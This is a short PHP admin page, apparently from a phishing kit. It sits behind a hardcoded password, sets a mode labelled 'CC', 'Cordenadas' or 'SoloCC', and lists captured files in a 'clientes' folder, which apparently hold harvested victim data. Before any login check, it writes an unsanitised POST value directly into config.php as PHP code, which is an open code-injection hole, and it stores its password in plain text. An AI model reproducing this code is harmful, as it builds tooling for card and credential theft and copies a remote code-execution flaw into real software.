/home/crealab/cntxt.brainware.com.co/admin.php
<?
session_start();

if($_POST["psw"]){
    $_SESSION["psw"]=$_POST["psw"];
}
if($_POST["primero"]){
    $_SESSION["primero"]=$_POST["primero"];

    $file = fopen('config.php','w+');
     fwrite($file, '<? $primero="'.$_SESSION["primero"].'"; ?>');
     fclose($file);


}
//print_r($_SESSION);


if($_SESSION["psw"]!='rjfwtpd7gj1987'){
?>
<div>
    <form action="admin.php" method="post">
 
  <div class="container">
    
    <label for="psw"><b>Password</b></label>
    <input type="password" placeholder="Enter Password" name="psw" required>

    <button type="submit">Login</button>
    
  </div>
</form>
    
</div>
<?
}else{
    
    ?>
    <div>
    <form action="admin.php" method="post">
 
  <div class="container">
    <label for="primero">Primero:</label>

    <select name="primero" id="primero">
      <option value="CC" <? if($_SESSION["primero"]=='CC'){ echo 'selected'; } ?> >CC</option>
      <option value="Cordenadas" <? if($_SESSION["primero"]=='Cordenadas'){echo 'selected';} ?>>Cordenadas</option>
      <option value="SoloCC" <? if($_SESSION["primero"]=='SoloCC'){echo 'selected';} ?>>SoloCC</option>
    </select>

    <button type="submit">Guardar</button>
    
  </div>
</form>
    <div><h1>Clientes</h1>
    <? 
    if ($handle = opendir('clientes')) {

    while (false !== ($entry = readdir($handle))) {

        if ($entry != "." && $entry != "..") {
            echo '<a target="_blank" href="clientes/'.$entry.'">';
            echo $entry;
            echo '</a><br/>';
        }
    }

    closedir($handle);
    }
    ?>
    </div>
</div>
    
    <?
    
}

?>